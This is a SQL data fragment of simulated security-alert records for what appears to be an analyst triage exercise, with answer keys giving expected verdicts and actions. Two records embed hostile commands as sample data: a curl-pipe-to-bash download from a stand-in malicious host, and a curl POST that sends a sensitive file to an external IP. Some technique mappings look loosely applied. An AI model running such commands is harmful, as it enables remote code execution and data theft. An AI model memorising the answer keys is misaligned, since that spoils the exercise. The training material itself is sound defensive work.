(1868, 'Routine IT Vulnerability Scan Detected', 'low', 'Splunk', 'A series of network connection attempts from an internal IP address were detected, resembling vulnerability scanning activity. The source IP belongs to the IT department.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"192.168.1.200\",\"username\":\"it_admin\",\"hostname\":\"IT-Scanner\",\"command_line\":\"nmap -sV 192.168.1.200\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Asset Management\",\"verdict\":\"internal\",\"details\":\"Internal IP address associated with IT department scanner\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nmap -sV 192.168.1.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"IT Policy\",\"verdict\":\"clean\",\"details\":\"Routine vulnerability scanning by IT personnel\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"This is a scheduled IT security scan, not malicious activity.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1869, 'Unauthorized Login Attempt', 'medium', 'Wazuh', 'Multiple failed login attempts detected from a foreign IP address. The IP is associated with a known VPN service.', 'Credential Attack', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:30:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.5\",\"dst_ip\":\"192.168.1.50\",\"username\":\"user123\",\"hostname\":\"AuthServer\",\"failed_attempts\":15}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP associated with VPN service, often used for privacy\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"user123\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"clean\",\"details\":\"Active user account with no prior issues\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The login attempts are from a known VPN IP, possibly a legitimate user.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1870, 'Suspicious Email with Spoofed Domain', 'medium', 'Proofpoint', 'An email was received from a domain that closely resembles a legitimate partner but is slightly altered.', 'Phishing', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:45:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.7\",\"email_sender\":\"support@micros0ft.com\",\"hostname\":\"MailServer\",\"email_subject\":\"Immediate Action Required\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"support@micros0ft.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Domain resembles \'microsoft.com\', potential typo-squatting\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.7\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No malicious activity reported for this IP\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email is suspicious due to typo-squatting but does not contain malicious links or attachments.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1871, 'Administrative Backup Detected', 'low', 'Azure Sentinel', 'A scheduled backup operation was detected on a critical server, initiated by an administrative account.', 'Data Exfil', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.10\",\"dst_ip\":\"10.0.0.15\",\"username\":\"backup_admin\",\"hostname\":\"BackupServer\",\"command_line\":\"backup.exe /start /server\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Asset Management\",\"verdict\":\"internal\",\"details\":\"IP address is part of internal network, used for backup operations\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"backup.exe /start /server\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"clean\",\"details\":\"Scheduled backup command executed by authorized personnel\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The detected process is a legitimate scheduled backup activity.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1872, 'Detected Command Injection Attempt', 'high', 'Elastic SIEM', 'A detected command line execution from an external IP contains possible injection commands aimed at a web server.', 'Web Attack', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T15:20:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"185.143.223.12\",\"dst_ip\":\"192.168.1.10\",\"hostname\":\"WebServer\",\"request_body\":\"curl -s http://malicious.example.com | bash\",\"command_line\":\"curl -s http://malicious.example.com | bash\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.143.223.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for command injection attacks\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"curl -s http://malicious.example.com | bash\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command injection attempt detected\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The detection of a suspicious command line execution from an external IP is confirmed as a true positive due to its malicious nature.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1873, 'Suspicious Network Activity Detected - Potential C2 Communication', 'medium', 'Zeek', 'Zeek has detected network traffic that resembles command and control (C2) beaconing from an internal IP to an external server. However, further investigation reveals this is routine data synchronization with an external service.', 'Data Exfil', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:20:35Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.45\",\"dst_ip\":\"198.51.100.23\",\"username\":\"service_account\",\"hostname\":\"Internal-Server-01\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for legitimate data sync\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP is associated with a trusted data synchronization service\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The external IP is verified as a legitimate service, confirming routine activity.\"}', 'Beginner', 'NDR', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1874, 'Potential Lateral Movement Detected via PSExec', 'medium', 'Corelight', 'Corelight detected internal traffic that resembles lateral movement using PSExec. However, this was confirmed to be an authorized IT operation for system updates.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:45:10Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"10.0.0.20\",\"username\":\"admin_user\",\"hostname\":\"Admin-PC\",\"command_line\":\"psexec \\\\\\\\10.0.0.20 -u admin_user cmd\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used in authorized IT operations\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"psexec \\\\\\\\10.0.0.20 -u admin_user cmd\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command used in legitimate system update process\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Admin activity confirmed as part of routine maintenance.\"}', 'Beginner', 'NDR', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1875, 'Brute Force Login Attempts from Unknown IP', 'medium', 'Suricata', 'Multiple failed login attempts from an external IP were detected. Investigation indicates these attempts were part of a penetration test authorized by IT.', 'Brute Force', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T15:32:50Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.50\",\"dst_ip\":\"192.168.1.10\",\"username\":\"test_user\",\"hostname\":\"Test-Server\",\"failed_attempts\":15}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP associated with penetration testing activities\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"test_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Username involved in authorized testing\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The source IP was verified as part of a planned penetration test.\"}', 'Beginner', 'NDR', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1876, 'Unusual Data Transfer Detected - Potential Data Exfiltration', 'high', 'Wireshark', 'A large volume of data was transferred to an external IP. Investigation reveals this was part of a legitimate backup process to an offsite location.', 'Data Exfil', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T16:10:05Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.25\",\"dst_ip\":\"192.0.2.45\",\"username\":\"backup_user\",\"hostname\":\"Backup-Server\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used in routine backup operations\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.0.2.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP associated with a known offsite backup provider\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The data transfer was confirmed as part of a scheduled backup job.\"}', 'Beginner', 'NDR', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1877, 'Malicious Command Execution Detected on Internal Network', 'critical', 'Darktrace', 'A suspicious command execution was detected on an internal server, indicating potential compromise. The command is known for data exfiltration activities.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T17:05:47Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"45.33.32.156\",\"username\":\"compromised_user\",\"hostname\":\"Compromised-Server\",\"command_line\":\"curl -X POST http://45.33.32.156/exfil --data-binary @sensitive_data.txt\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used in confirmed malicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"45.33.32.156\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported multiple times for involvement in data exfiltration\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"curl -X POST http://45.33.32.156/exfil --data-binary @sensitive_data.txt\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command line execution matches known data exfiltration patterns\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The command and external IP have been verified as malicious, confirming the server compromise.\"}', 'Beginner', 'NDR', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1878, 'Suspicious Network Connection Detected - Potential Data Exfiltration', 'medium', 'Zeek', 'A network connection was detected from an internal IP to an external IP known for suspicious activities. This may be a false alarm caused by routine data backup.', 'Data Exfil', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"198.51.100.23\",\"username\":\"backup_user\",\"hostname\":\"backup-server\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address used by backup server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported 12 times for suspicious activity\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The connection appears to be part of routine data backup procedures.\"}', 'Beginner', 'NDR', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1879, 'Potential Lateral Movement Detected Using PSExec', 'low', 'Corelight', 'PSExec tool used to execute a command on another machine within the network. Likely a scheduled administrative task.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.5\",\"dst_ip\":\"192.168.1.10\",\"username\":\"admin\",\"hostname\":\"admin-pc\",\"command_line\":\"psexec \\\\\\\\192.168.1.10 -u admin -p password cmd.exe /c dir\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"psexec \\\\\\\\192.168.1.10 -u admin -p password cmd.exe /c dir\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command used for administrative task scheduling\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"This activity matches a known pattern for scheduled administrative tasks.\"}', 'Beginner', 'NDR', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1880, 'Failed Login Attempts Detected', 'medium', 'Darktrace', 'Multiple failed login attempts detected on a user account from an external IP. Likely triggered by a misconfigured application.', 'Brute Force', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T07:15:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"username\":\"test_user\",\"hostname\":\"web-server\",\"failed_attempts\":20}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported 5 times for failed login attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"test_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Testing account used internally\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The failed login attempts are consistent with a testing process or misconfigured application.\"}', 'Beginner', 'NDR', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1881, 'Outbound Traffic to Known Malicious IP', 'critical', 'Suricata', 'Outbound traffic was detected to a known command and control server, indicating a potential compromise.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"203.0.113.200\",\"hostname\":\"infected-pc\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address indicating potential victim machine\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP associated with C2 activity and malware distribution\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The outbound connection to a known C2 server indicates a compromised system.\"}', 'Beginner', 'NDR', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1882, 'Routine Vulnerability Scan Activity', 'low', 'Wireshark', 'Network traffic patterns associated with vulnerability scans detected. This is part of the regular security assessment schedule.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T06:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.30\",\"dst_ip\":\"192.168.1.35\",\"username\":\"security_admin\",\"hostname\":\"vuln-scan-host\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP used by vulnerability scanner\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.35\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of target system\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"This pattern matches the routine scanning activities performed as part of scheduled maintenance.\"}', 'Beginner', 'NDR', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1883, 'Routine Vulnerability Scanning Detected', 'low', 'Zeek', 'A network scan was detected originating from an internal IT asset. This was identified as part of a scheduled vulnerability assessment.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.5\",\"dst_ip\":\"192.168.1.25\",\"username\":\"admin_scanner\",\"hostname\":\"scanner01\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Source IP is an internal asset performing authorized scans.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin_scanner\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Username belongs to authorized IT personnel.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"This activity is part of routine vulnerability scans and is not malicious.\"}', 'Beginner', 'NDR', 3, 1, 'TECH', NULL, NULL, NULL, 0);
